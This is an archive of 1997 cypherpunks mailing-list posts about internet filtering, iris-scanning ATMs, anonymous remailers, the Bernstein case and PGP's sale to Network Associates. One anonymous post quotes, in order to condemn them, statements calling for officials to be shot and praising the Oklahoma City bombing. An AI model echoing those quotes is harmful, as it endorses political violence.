meeting of President Clinton, Vice President Gore and some of the groups
involved in the lawsuit against the Communications Decency Act. 

	As it blurs the line between public and private, the Focus on
Children summit becomes government action disguised as parental action.
Filtering software like SurfWatch and the Platform for Internet Content
Selection (PICS) -- a computer language standard that allows labels to be
attached to Internet content -- are fine as long as they stay in the
private sector, driven by customer demand and free choice.  There's no
need for a summit to make that happen.  With nothing better to do,
politicians and sensationalists are likely to use the occasion to shine a
media spotlight on the dangers of the Internet.  Government pressure will
make it all the more likely that the computer industry will be unable to
resist calls for mandatory PICS or universal filters built into the fabric
of the Internet itself. 

	Disturbingly, the summit's program suggests that free speech
rights do not necessarily rank high in the sponsors' priorities. Its
sponsors include, for example, the conservative group Enough is Enough;
the summit's Web site links to their pro-CDA arguments but not to anti-CDA
sites.  While some opponents of the CDA are involved, defenders of free
speech such as the American Civil Liberties Union are conspicuously
absent.  Documents promoting the summit describe the CDA as "well
intentioned" and note that "supporters and opponents of the CDA agree that
children should not have access to inappropriate material on the Internet
or in any other medium. The real question is, how best to do it." 

	The right question is whether government has any proper place at
the table discussing any of these issues -- and especially in determining
what is "inappropriate."  The answer is a resounding no.  Furthermore,
government involvement is not necessary.  The vendors of filtering
programs have reason enough to ensure that parents are aware of their
products. 

	Government involvement promotes political, centralized solutions
to what should be private problems.  The V-chip is a prime example. 
Before lawmakers chose to mandate V-chips, entrepreneurs and private
groups competed to help parents monitor their children's viewing habits,
offering dozens of different blocking technologies as well as ratings and
reviews of programs from diverse perspectives.  Now the monopoly V-chip
threatens to shoulder those offerings out of the picture. 

	Freedom of speech on the Internet offers hope to millions of
people around the world who live under political regimes that stifle their
access to information.  But the Internet's freedom depends on its
technology.  Politicians should be ashamed to set a precedent in this
country by pressuring the industry to engineer this freedom out.  We do
not need a V-chip for the Internet any more than we need a rating system
for libraries or bookstores. 

###

Solveig Singleton
(202) 789-5274
(202) 842-3490 (fax)

Director of Information Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 2 Dec 1997 03:39:15 +0800
To: Jonathan Wienke <JonWienk@ix.netcom.com>
Subject: Re: Big Brother Is Watching ATMs
Message-ID: <v0300782bb0a8b6b48bbf@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



	<sigh> My apologies to Jonathan, the boyos in the Hills, and those
watching for the Choppers.  I wrote:

|>	Could you please identify this "bank card company" by name, card,
nation, |>etc. ?

	The vendor, Sensar, Inc. <http://www.sensar.com> is planning to
unveil the system at the Banking Administration Institute's conference in
New Orleans the day after tomorrow.   The company's version of the product
and its expected use is a little less conspiratorial than Jonathan's post
to C'punks -- but it more than suffices to force me to eat crow for my
scepticism and unwarranted sarcasm.

>>	IrisIdent is a biometric identification system that uses the unique
>>    patterns of the human iris to verify an individual's identity. Using a
>>    standard video camera, the system takes a picture of an individual's iris
>>    and compares it with a previously stored iris image. The result is a
>>rapid
>>    validation of the individual's identity. With an empirically determined
>>    crossover error rate of less than 1 error in 131,578 transactions, iris
>>    identification is more reliable and less intrusive than fingerprinting or
>>    retinal scanning. Its security cannot be bypassed or compromised.

>>    Pilot systems are available on a limited basis, with full production
>>    scheduled for later in 1997. In addition, Sensar is planning to launch
>>    follow-on applications for a wide range of financial applications,
>>such as
>>    new account openings, bank wire transfers and government services.
>>    Smart Camera is a future offering from Sensar. It will combine the same
>>    technology with a stand-alone (non-PC-based) camera to verify
>>    customer identification at point-of-sale locations, business
>>workstations,
>>    and home computers.

|>	Without some explicit cite of a commercial entity -- or a reference
to some |>"strip-'em-naked-with-electrons" Police R&D group like the guys
at Rome AFB -- this |>report sounds like another of those ID-Implant
fantasies circulated by the guys who |>are bolting steel plate to their
screen doors and programming their backyard AA to |>auto-target (a) Black
Helicopters (b) which are on low-level rapid approach (c) full |>Oriental,
Arab, and Hispanic troopers (c) wearing Blue Helmets.

	The CNN news report (only a little less worrisome than Jonathan's
post) is at: http://www.cnn.com/TECH/9711/30/eyeball.id.ap/index.html

|>	Or, with further checking, could you confirm that is this just
another spicy
|> rumor crafted to keep the boyos in the hills rubbing garlic into their
hollow-points
|> with proper militia enthusiasm?  (Not that I don't enjoy a good tale to
wake up
|> sleepy Computer Science undergrads, mind you...)

|>	Up the Revolution,

|>		              _Vin

	Jonathan Wienke <JonWienk@ix.netcom.com> warned us all:

>I just heard that a bank card company has just released a program for using
>photos of the iris in people's eyes as a biometric ID to replace people's
>PIN codes for ATM / credit cards.  What I found really interesting is how
>they plan to implement it.  As people use the ATM, they are photographed.
>(Every ATM has a security camera.)  Over time, as people use the ATM, the
>security camera images are composited to produce a high-quality image of
>their irises, which is coded and placed in their account information.  Once
>this is accomplished, when a card is inserted into the ATM and the security
>camera gets an iris image that matches the account sufficiently closely,
>the user can conduct transactions without entering the PIN code.  People
>affected by this will merely receive a letter that under certain
>circumstances, entering the PIN is no longer necessary, but this is not a
>security problem.
>
>This scenario may not be a security problem, but it certainly poses a
>privacy problem.  Given the frequency that the average Joe Sixpack uses the
>ATM, it is only a matter of time before the government mandates a
>nationwide eyeprint ID database to catch ATM and credit card theives, money
>launderers, tax cheats, and other undesirables.  Perhaps the eyeprint could
>even replace or supplement the SSN as the unique taxpayer ID key for tax
>and other purposes.  Of course, given the fact that ATMs have had cameras
>from the start, this theoretical eyeprint database could already be under
>construction.  How's that for paranoia?  >:-(
>
>Of course, there are a few ways to beat this, such as mirror sunglasses,
>(which would only be useful while alternative credentials to eyeprint ID
>are still available) and contact lenses, (which would have to be carefully
>oriented so that the same side of the lens was always up, or the fact that
>you are wearing contacts and are therefore a Suspicious Person(tm) would
>become obvious to the system) and of course intraocular implants of various
>types.  Of course if the implant's power-on LED gives your eyes a constant
>Satanic red glow, you may be flagged as a Suspicious Person(tm) anyway.
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Business Security 5.5
>

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 2 Dec 1997 03:24:22 +0800
To: "William H. Geiger III" <whgiii@invweb.net>
Subject: Re: RICE v PALADIN ENTERPRISES
In-Reply-To: <3.0.2.32.19971201112809.036f79cc@panix.com>
Message-ID: <3.0.3.32.19971201141528.037e8988@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:38 AM 12/1/97 -0600, William H. Geiger III wrote:
>The reason Hit Man, and other such "undrground" text, are not available on
>the local book stores is because the major publishing houses will not
>print them! Paladin Press is a mail order company because major retailers
>will not shelf the books that they print. I can hardly see Paladin turning
>down a 100,000 copy order from Barns & Nobel or Books-A-Million or any of
>the other major chains. I am quite sure that if one looks at the records
>of Paladin one will see that they sold their books to whomever wished to
>purchase them (after all thet is the business they are in).

Barnes and Noble does in fact sell "Hit Man" for $10, the apparent list
price.  While a non stocked item, it can be special ordered and the
delivery time is claimed to be four to six weeks (I've found that in
practice about one week is usually required on special orders.)  Ingram
Books (wholesale) does not seem to carry Hit Man, but Amazon.com has it in
stock for $8, delivery in two to four days.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@www.video-collage.com>
Date: Tue, 2 Dec 1997 05:25:10 +0800
To: cypherpunks@www.video-collage.com
Subject: Re: More Government Sanctioned Theft
In-Reply-To: <65k64e$coq@snews3.zippo.com>
Message-ID: <slrn686a8g.j0.ichudov@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain



[This message has also been posted.]
In ok.general, Jerry Morgan <jmorgan@galstar.com> wrote:
* easttom@redriverok.com (Chuck Easttom) wrote:
* >   2.  What the hell legit reason is there for a man to be driving around with 
* >132 K in a truck??
* >
* 
* The simple possession of any amount of money is not subject to "police
* approval", unless of course we are living in a police state.
* 
* As I understand the "story" the police stopped the guy, searched the
* car, found the money, seized it and then let the guy go without
* charging him with anything.  A nice cool 132K profit for a few minutes
* work, just like an armed robbery.  It would appear that this "cops and
* robbers scenario" has the cops playing both roles.S

... ... ...

* tactics will have 132K for new police equipment.  Too bad they won't
* use it to buy copies of the U.S. Constitution for their officers to
* read, but after all they wouldn't want them getting any *wrong ideas* 

That would be a "hate crime". According to a message in the cypherpunks
mailing list (which I unfortunately deleted, with references to more
details on some websites), there was a conference on "hate crimes"
recently. There, they discussed "profiles" and signs of "hate crimes",
and among signs there were discussions of the constitution and founding
fathers.

If someone has any more information on that, please let us know.
-- 
	- Igor.

----------------------------------------------------------------------------
char*p="char*p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 22:57:46 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199712011448.PAA26970@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




::
Subject: Re: Pasting in From:

-----BEGIN PGP SIGNED MESSAGE-----

Sender: Amad3us <cypherpunks@cyberpass.net>

Robert Costner says:
> It seems to me that the purpose of a remailer is to strip the headers,
> including the FROM header, not to put in fake headers.  Until someone can
> explain it to me, I'd consider the idea of adding a FROM header to
> anonymous mail to be asinine.

The purpose of a remailer is to allow the sender to be anonymous, so
it strips real headers to prevent accidents (eg. subject fields
organization etc).

Then it has to allow you to put headers back in otherwise you can't
interoperate with software.  Eg pasting in References:, Subject: (I
would like to see Cc: and Bcc: being allowed to be pasted in also).

I would also like to see From: pasted in.  In fact I can see no
purpose to restrict what can be pasted in, other than to reduce
complaints to the remailer operator possibly.

> Best I can tell, the only reasonable good purpose for this is to create a
> persistent nym identity without a reply to capability.  Well, remailer
> software cannot support everything I suppose. (Even if Cracker may
> apparently support this)

It's easy enough to allow From:.  I do it myself sometimes, and notice
Nerthus does also, pasting in From fields works at least with Replay
as the exit node, but that results in two From fields.

My software shows be all headers.  I am not sure what other software
would do, probably, only display the first From field (the remailers).

I would have thought remailers are not actually trying to advertise
their From fields.  Perhaps allowing bogus From fields, or even
putting in remailer@dev.null if there is not a From field would
greatly reduce complaints from clueless users.

If you want to you can always put in Sender: remailer@anon.efga.org.

> I would think the best way to put in a persistent nym capability would be
> to database the PGP key id's along with the persistent identity.  Then the
> remailer could produce lines like
> 
> 	From: "Monty Cantsin" <anon@anon.efga.org>

That'd do.

However you'll notice that my address is:

Amad3us <cypherpunks@cyberpass.net>

which means that I would like it to be pasted in as it is replyable
(for encrypted mail) even though not being a nymserver account.

> Persistent identities would be created by sending a signed PGP message that
> includes both the PGP public key and the persistent identity.  Since the
> identity server would not database email addresses, only PGP key id's, and
> only work for signed messages, there should be no problem with people
> worrying about the remailer being compromised.  This also keeps someone
> from stealing another's reputation capital.

Not sure that the assurance is this strong.  However the feature would
be useful.

Amad3us

-----BEGIN PGP SIGNATURE-----
Version: 6.6.6

iQCVAwUBNIKq4PKMuKFNFivhAQGvpwP9HnkWew9lSzQ5cj70UehLkopbLJr7YFSq
S5ZJzPp2KuYqVpjs7Lyagg0WtFyX9UUFFCXuWemhjJNLAmqQP7fkAnxs1Epq4LTj
cd+qn3Y58EQlyQAlFwF/l7bUedWVwcxIkVmR5PxkwG3LTMzYHGLSIuhF6gqanSv0
EyjvkXIw/as=
=fbA1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 2 Dec 1997 08:46:49 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Panel names released for Bernstein hrg on 12/8
Message-ID: <3.0.5.32.19971201163747.03d5b7a0@208.139.48.24>
MIME-Version: 1.0
Content-Type: text/plain




I just spoke with someone in the clerk's office at the Ninth Circuit - the
composition of the panel of judges for next Monday's hearing in the
Bernstein case has been released. The judges are Bright, Fletcher, and
(Thomas) Nelson. I haven't been able to find information about Judge
Bright, but found pages of (meager) ratings/discussion about Fletcher and
Nelson at:

<http://www.appellate-counsellor.com/profiles/fletchb.htm>
and
<http://www.appellate-counsellor.com/profiles/nelsontg.htm>

I think that Judge Bright may be Myron H. Bright, a senior justice on the
8th Circuit, who sometimes sits on 9th circuit cases by designation.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 2 Dec 1997 08:56:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <2367.881005036@zelkova.qualcomm.com>
Message-ID: <19971201164447.17774@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Dec 01, 1997 at 05:07:11PM -0500, Robert A. Costner wrote:
[...]
> 
> As wonderful as eye scanning technology may sound, it promises to offer
> very weak identification and only be reliable in the short run.  This is
> based on the premise that a reproduction of an eye will work as well.  Just
> as a reproduction of a driver's license seems to work for check forgery.
> 
> PINs offer security based on the fact that they are a secret.  Not a shared
> secret.  For comparison, take a look at the authentication procedure of the
> SSA and Wells Fargo bank.  Over the internet, both want 
> 
>   Social Security Number
>   Date of Birth
>   Mother's Maiden Name
> 
> Imagine a bank machine requesting the same info as the only prerequisite
> for dispensing cash!  This info might have been a method of secure
> authentication about the time I was born, but today, such info is almost
> common knowledge.  This no longer is a secret, too many people have the
> info.  Widespread use of eye scanners will provide the same results.  As
> databases are built, and sold, the raw info becomes available and automated
> tellers become excellent targets for fake authentications.  If you get it
> wrong, you just walk away.
> 
> Eye scans may help aid authentication, but they should not take the place
> of PINs.

>From "Government Computer News", 1997-11-24

  Optical character recognition converts an image into usable text.  
  But what if the character you want to recognize is a human being?

  Try Visionics Corp's FaceIt PC 3.0, which works with a digital 
  video camera to secure a desktop computer against intruders.

  The GCN Lab staff members were skeptical at first.  After all, OCR 
  and voice recognition are still not mature technologies, and face 
  recognition applications are greener still.

  FaceIt surprised us -- pleasantly.

  [description of test environment, and test]

  The software can be set to require a smile or blink from any person 
  attempting access...[I suppose you could stick out your tongue...]

  ...During testing, the software never misidentified anyone, nor was 
  it fooled if a user wore or removed glasses.  Visionics claims that 
  changes in facial hair will not cause misidentification, but we 
  didn't test that claim.

http://www.FaceIt.com

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 2 Dec 1997 06:28:57 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Big Brother Is Watching ATMs
In-Reply-To: <v03007801b0a877592509@[198.115.179.81]>
Message-ID: <3.0.3.32.19971201170711.03a67820@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 11:37 AM 12/1/97 -0800, Paul Pomes wrote:
>Thomas J. Drury walks up to the automated-teller machine in his suburban
>office and swipes his bank card. Instead of punching in a secret code,
>however, he stares straight ahead. The machine verifies his identity by
>looking at his eyes.
>
>If Mr. Drury, chief executive officer of Sensar Corp., and his colleagues
>have their way, this eye-scanning technology will become standard equipment
>on ATMs around the world. It is being tested by NCR Corp. and Citicorp,
>among others.

As wonderful as eye scanning technology may sound, it promises to offer
very weak identification and only be reliable in the short run.  This is
based on the premise that a reproduction of an eye will work as well.  Just
as a reproduction of a driver's license seems to work for check forgery.

PINs offer security based on the fact that they are a secret.  Not a shared
secret.  For comparison, take a look at the authentication procedure of the
SSA and Wells Fargo bank.  Over the internet, both want 

  Social Security Number
  Date of Birth
  Mother's Maiden Name

Imagine a bank machine requesting the same info as the only prerequisite
for dispensing cash!  This info might have been a method of secure
authentication about the time I was born, but today, such info is almost
common knowledge.  This no longer is a secret, too many people have the
info.  Widespread use of eye scanners will provide the same results.  As
databases are built, and sold, the raw info becomes available and automated
tellers become excellent targets for fake authentications.  If you get it
wrong, you just walk away.

Eye scans may help aid authentication, but they should not take the place
of PINs.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 2 Dec 1997 00:39:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Freemen and Serfs
Message-ID: <199712011615.RAA06313@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> Nope. I haven't claimed anything about an elite group trading amongst
> themselves.
> 
> Rather, those who use the technology will make more money, and save more of
> it, and will then be able to hire out those who failed to, and to buy stuff
> made by them.

How, exactly?  We're not talking about computers as "the technology".
We mean anonymous remailers, digital cash, Chaumian credentials,
steganography, and other cypherpunk technologies.  Who is using these
technologies to make more money today?  Almost no one.  The reason is
that the market is far too small.  You can't put together a business
plan and attract the investment needed if there are only a few hundred
cypherpunks as customers.

> We've been seeing this for a long time. Not a new concept. For example,
> those of us who used our skills and investment inclinations to make a lot
> of money are not condemned to "trading only with ourselves." We routinely
> trade with others.

Totally different.  The point is not to trade, it is to do so anonymously
and confidentially.  You yourself are always whining about how you can't
buy and sell your stocks privately, all your financial status being
known to the state.  Cypherpunk technologies are useless unless all
parties to a transaction are using them.  If even one party is subject
to government or criminal surveillance then other participants will be
forced to report the transaction as well.

The only hope for these technologies is to spread the base of people using
them.  It doesn't do any good to use anonymous ecash if no one will accept
it for payment.  You can't make a living as a nym until there are enough
people using these technologies that a business can succeed via anonymous
contracting.  It all depends on getting a critical mass of users.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 2 Dec 1997 06:47:28 +0800
To: cypherpunks@Algebra.COM
Subject: PGP Inc Sold for $35M - News Flash
Message-ID: <v03007842b0a8edab798a@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



<News Alert, from C/Net's News.Com>

"PGP acquired by merged security software firm.

"Pretty Good Privacy, an encryption company foundered by crypto pioneer
Phil Zimmermann, has been acquired by Network Associates, the result of the
merger of McAfee Associates and Network General, which closed today.

"Network Associates will pay $35 million in cash  for PGP. "
--

No confirmation or further information available on the PGP, McAfee, or
Network General web pages. _Vin

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 2 Dec 1997 10:15:24 +0800
To: cryptography@c2.net
Subject: McAfee buys PGP Inc.
Message-ID: <3.0.3.32.19971201175356.006d6dd8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.pgp.com/newsroom/prel47.cgi

Network Associates (formerly known as McAfee) is buying PGP Inc.

Network Associates Acquires Pretty Good Privacy (PGP)

Network Associates Extends Enterprise Offerings with Leading Security Software 

SANTA CLARA, Calif., Dec. 1, 1997
Network Associates, Inc. Nasdaq: NETA, commencing Dec. 2), 
formerly McAfee Associates (Nasdaq: MCAF) 
announced today that it has a signed a definitive agreement 
to acquire privately-held Pretty Good Privacy, Inc. (PGP).
The PGP acquisition extends Network Associates' network security
and management software products with the leading applied
cryptographic security solutions for protecting corporate assets 
and enabling secure electronic communication. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 2 Dec 1997 07:15:46 +0800
To: cypherpunks@Algebra.COM
Subject: PGP Inc Sold for $35M - News Flash
Message-ID: <v03007844b0a8f394dd85@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



Network Associates Acquires Pretty Good Privacy (PGP)

04:46 p.m Dec 01, 1997 Eastern Standard Time

SANTA CLARA, Calif., Dec. 1 /PRNewswire/ -- Network Associates, Inc.
(Nasdaq: NETA, commencing Dec. 2), formerly McAfee Associates
(Nasdaq: MCAF), announced today that it has a signed a definitive
agreement to acquire privately-held Pretty Good Privacy, Inc. (PGP).
The PGP acquisition extends Network Associates' network security and
management software products with the leading applied cryptographic
security solutions for protecting corporate assets and enabling
secure electronic communication.

According to an Ernst and Young study, top threats to network
security include virus attack, sabotage from inside the firewall and
sabotage from outside the firewall. The combination of PGP and
Network Associates unites leaders in addressing these corporate
security threats. Network Associates' McAfee anti-virus security
software is used by over 25 million users and more than 80% of the
Fortune 500. With more than four million users in 50 countries, PGP
is the worldwide de facto standard for Internet email and file
encryption.

"The synergy across our product lines is phenomenal," said Bill
Larson, chairman and CEO of Network Associates. "We will now be able
to provide an integrated software solution for securing both
corporate networks and enterprise data."

"There is a pressing need for comprehensive, integrated security
solutions," said Phil Dunkelberger, general manager of Network
Associates' Total Network Security Division, (formerly president and
CEO of PGP.) "The combination of resources and talent of the
respective companies will provide customers with a premier
enterprise-scale security solution."

Network Associates leads the way in providing large corporate
customers with integrated network security and management suites.
Network Associates' Total Virus Defense Suite incorporates client,
server and gateway protection against computer viruses, and is a
leading offering in its class. The PGP encryption and management
products, including the PGP Business Security Suite, will be the
cornerstone for a complementary suite offered by Network Associates
called the Total Network Security Suite. By combining Network
Associates' intrusion and virus detection products with Business
Security Suite's desktop encryption software, and key server and
policy management tools, the Total Network Security Suite will
address, in a single solution, the needs of network administrators
and corporate security officers.

PGP has long been a pioneer in the security industry, contributing
significantly to many of the principles that have driven the
industry. Network Associates will continue to support the guiding
principles that have made PGP a successful technology. These
principles include a commitment to strong encryption and open
standards. Network Associates will build on the progress made with
the Internet Engineering Task Force, including RFC2015 and the Open
PGP working group, to develop standards for security designed to
unify industry practice.

The acquisition, which is expected to close on or about December 15,
1997, is subject to PGP stockholder approval and other customary
closing conditions. Members of PGP's board of directors and
management, and certain other major PGP stockholders have agreed
separately with Network Associates to vote their PGP shares in favor
of the acquisition. The aggregate consideration payable in the
acquisition is approximately $36 million (payable at closing in cash
and the assumption of certain liabilities) and warrants to acquire a
specified number of shares of Network Associates common stock. The
acquisition will be accounted for under the purchase method of
accounting. In accordance with generally accepted accounting
principle, Network Associates expects to incur a significant charge
to earnings for the Dec. 31, 1997 quarter related to the purchase of
in-process research and development.

With headquarters in Santa Clara, Calif., Network Associates, Inc.,
formerly McAfee Associates, is a leading supplier of enterprise
network security and management solutions. Network Associates'
product offering includes four individual software suites, Total
Virus Defense, Total Network Security, Total Network Visibility and
Total ServiceDesk, which can be centrally managed from within the
Network Associates' NetTools unified management environment. For
more information, Network Associates can be reached at 408-988-3832
or on the Web at http://www.networkassociates.com.

This news release contains forward-looking statements within the
meaning of Section 27A of the Securities Act of 1933, as amended,
and Section 21E of the Securities Exchange Act of 1934, as amended.
Because such statements apply to future events, they are subject to
risks and uncertainties that could cause the actual results to
differ materially, including without limitation, integration risks
related to the proposed transaction and the risk that the proposed
transaction will not be consummated. Important factors which could
cause actual results to differ materially are described in Network
Associates' reports on Form 10-K and 10-Q filed with the Securities
and Exchange Commission. SOURCE Network Associates, Inc.

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 2 Dec 1997 09:25:28 +0800
To: Vin McLellan <vin@shore.net>
Subject: Re: PGP Inc Sold for $35M - News Flash
In-Reply-To: <v03007842b0a8edab798a@[198.115.179.81]>
Message-ID: <Pine.LNX.3.95.971201181053.19756A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 1 Dec 1997, Vin McLellan wrote:

> <News Alert, from C/Net's News.Com>
> 
> "PGP acquired by merged security software firm.
> 
> "Pretty Good Privacy, an encryption company foundered by crypto pioneer
> Phil Zimmermann, has been acquired by Network Associates, the result of the
> merger of McAfee Associates and Network General, which closed today.
> 
> "Network Associates will pay $35 million in cash  for PGP. "

Not good news.  As I remember McAfee was one of the "Key Recovery Aliance
Partners".  

"Everyoner has their price." - Guy Grand

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Tue, 2 Dec 1997 07:52:57 +0800
To: stewarts@ix.netcom.com
Subject: Re: Pasting in From:
In-Reply-To: <3.0.3.32.19971201001413.03a6d40c@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971201182334.03900444@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:34 PM 12/1/97 -0800, stewarts@ix.netcom.com wrote:
>But you don't need a special anonymity server to do that;
>a keyserver plus either a personna certificate or some archiving mechanism
is enough.
>The certificate shows that you're the first+only person at that
>certificate issuer to use the name you've chosen; the archive
>shows that the first poster using the name <nym> used PGP Key <key>.
>I have a PGP key I use for signing pseudonyms which performs
>the personna certificate function - I'll verify uniqueness
>of keys that I've signed.  

I was thinking of remailers sending out anon messages with a distinct from
line that has zero connection (in the nym database) to any email address.
Is this possible?  To establish a nym only through one way communication?




  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 2 Dec 1997 09:47:34 +0800
To: cypherpunks@cyberpass.net
Subject: California
Message-ID: <v0400271db0a90333e407@[204.134.5.84]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


MIME-Version: 1.0
Date:         Mon, 1 Dec 1997 11:45:58 -0500
Reply-To: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
Sender: Digital Signature discussion <DIGSIG@VM.TEMPLE.EDU>
From: Ben Wright <Ben_Wright@COMPUSERVE.COM>
Subject:      California
Comments: To: digsig-post <digsig@lists.state.tx.us>
To: DIGSIG@VM.TEMPLE.EDU

The California Secretary of State has published the final draft of his
digital signature regulations at <http://ss.ca.gov/digsig/digsig.htm>.  The
final draft contemplates both dual-key signatures and signature dynamics
like PenOp.

--Ben Wright
<http://infohaus.com/access/by-seller/Benjamin_Wright.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Tue, 2 Dec 1997 02:35:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Is Tim May guilty of illegally advocating revolution?
Message-ID: <199712011825.TAA22548@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:
> At 11:33 PM -0700 11/29/97, Bill Stewart wrote:
> 
> >As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never
> >heard Tim call for the violent overthrow of the US government.
> >He's called for a far more dangerous method of getting rid of it
> >(rendering it obsolete and letting the public catch on at their own speed),
> >and he's also expressed the position that if a bunch of
> >black-hooded thugs invade his house some night he'll defend himself
> >first and not worry about checking their bodies for stinkin' badges
> >or designer logos on their backs until the bullets stop flying.
> >
> >Not guilty.
> 
> An almost complete summary of my stance.
> 
> But Bill left out the third leg of my tripod, that I expect to wake up some
> morning and learn that some major city, perhaps Washington, D.C. has been
> nuked or bugged.

You've both forgotton the fourth leg of the tripod, the one where Tim May
calls for the governor of Florida to be shot (along with other officials).
Governor Chiles' capital crime?  He refused to allow California wine to
be sold in Florida.  On Fri, 9 May 1997, Tim May wrote:

> Chiles and his co-conspirators should be shot for high crimes against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

Everyone likes to overlook this, pretending that May didn't mean it.  Well,
he never withdrew it, did he?  He never apologized for it.  He's on the
record as explicitly calling for the murder of high officials.

And of course May further revealed his true colors with this horror,
from the same message:

> Every day that passes, I'm more convinced that McVeigh did the right thing.
> Some innocents died, but, hey, war is hell. Broken eggs and all that.

May's apologists have tried to pretend that he didn't say this, that he
said that he was beginning to understand McVeigh, or something.  That's
not what he says here.  He says he is becoming convinced that McVeigh
did the right thing in murdering all those people.

He callously compares the shattered bodies of the children and other
innocent victims to broken eggshells.  Monty Cantsin has provided us
a moving description of the painful deaths of the children in Waco.
Will dying of asphyxiation under pressure too great even to draw a breath
be any easier?

Again, you will search the archives in vain to find any apology for this,
any withdrawal.  May hides behind the words of others, as he does above,
hoping that their softened interpretations will make people forget the
plain facts about what he wrote.

If Tim May does not agree with the quotes above, let him say so now.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: steve <xxxxxx@ix.netcom.com>
Date: Tue, 2 Dec 1997 08:47:04 +0800
To: cypherpunks@toad.com>
Subject: PGP bought by McAfee
Message-ID: <348356EF.21C4@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>"Network Associates, Inc.
